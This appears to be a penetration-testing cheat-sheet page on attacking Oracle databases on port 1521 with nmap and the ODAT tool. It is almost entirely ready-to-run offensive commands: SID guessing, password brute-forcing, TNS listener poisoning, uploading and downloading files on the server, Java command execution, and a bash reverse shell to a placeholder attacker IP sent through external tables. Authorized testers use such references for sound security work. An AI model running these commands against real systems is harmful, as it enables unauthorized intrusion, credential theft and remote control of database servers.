Page cover
For the complete documentation index, see llms.txt. This page is also available as Markdown.

Oracle SQL | 1521

00. Basic

## ------------------| Nmap Scans
sudo nmap -Pn -sC -sV -p1521 $IP
sudo nmap -Pn -sC -sV -p1521 --script *oracle* $IP
sudo nmap -Pn -sC -sV -p1521 --script oracle-sid-brute $IP

01. ODAT (Oracle Database Attacking Tool)

## ------------------| Install on aarch64 (ARM)
sudo apt-get install libaio1t64 python3-dev alien -y 
git clone https://github.com/quentinhardy/odat.git && cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/instantclient-basic-linux-arm64.zip
wget https://download.oracle.com/otn_software/linux/instantclient/instantclient-sqlplus-linux-arm64.zip
unzip instantclient-basic-linux-arm64.zip
unzip instantclient-sqlplus-linux-arm64.zip
echo "export LD_LIBRARY_PATH=\"$(pwd)/instantclient_23_7:\$LD_LIBRARY_PATH\"" >> ~/.zshrc  ## Change 19_25 and change ~/.bashrc if you are using bash
echo "export PATH=\"\$PATH:$(pwd)/instantclient_23_7\"" >> ~/.zshrc    ## Change 19_25 and change ~/.bashrc if you are using bash
sudo apt-get install -y python3-cx-oracle python3-scapy python3-colorlog python3-termcolor python3-passlib python3-pycryptodome python3-pyinstaller python3-libnmap build-essential libgmp-dev  

## ------------------| Scan all 
odat all -s $IP -p 1521

## ------------------| Scan SID
odat sidguesser -s $IP -p 1521

# ------------------| TNS Poisoning
odat tnspoison -s $IP -p 1521 -d <SID> --test-module
odat tnspoison -s $IP -p 1521 -d <SID> --poison 

## ------------------| Brute Force Passwords
odat passwordguesser -s $IP -p 1521 -d <SID> -U h4rithd -P passwords.txt
odat passwordguesser -s $IP -d <SID> --accounts-file /usr/share/odat/accounts/accounts.txt

## ------------------| Test Connection to Oracle Database
odat test -s $IP -d <SID> -U h4rithd -P password123

## ------------------| Upload Files to Oracle Server
odat utlfile -s $IP -d <SID> -U h4rithd -P password123 --putFile="<LOCAL_FILE_PATH>" --remotePath="<REMOTE_PATH>"

## ------------------| Download File from Server
odat utlfile -s $IP -d <SID> -U h4rithd -P password123 --getFile="<REMOTE_FILE_PATH>" --localPath="<LOCAL_PATH>"

## ------------------| Execute Java Code
odat java -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --exec "whoami"

## ------------------| Execute Reverse Shell
odat externaltable -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --exec "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"

## ------------------| Enumerate UTL_HTTP Access
odat utlhttp -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Enumerate UTL_TCP Access
odat utltcp -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Enumerate UTL_FILE Access
odat utlfile -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Enumerate JAVA Access
odat java -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Enumerate External Table Access
odat externaltable -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Enumerate CTXSYS Access
odat ctxsys -s $IP -p 1521 -d <SID> -U h4rithd -P password123 --test-module

## ------------------| Check if Oracle Listener is Running
odat tnspoison -s $IP -d <SID> -U h4rithd -P password123

## ------------------| Perform TNS Poisoning Attack
odat tnspoison -s $IP -d <SID> -U h4rithd -P password123 --poison

02. SQPLUS

Last updated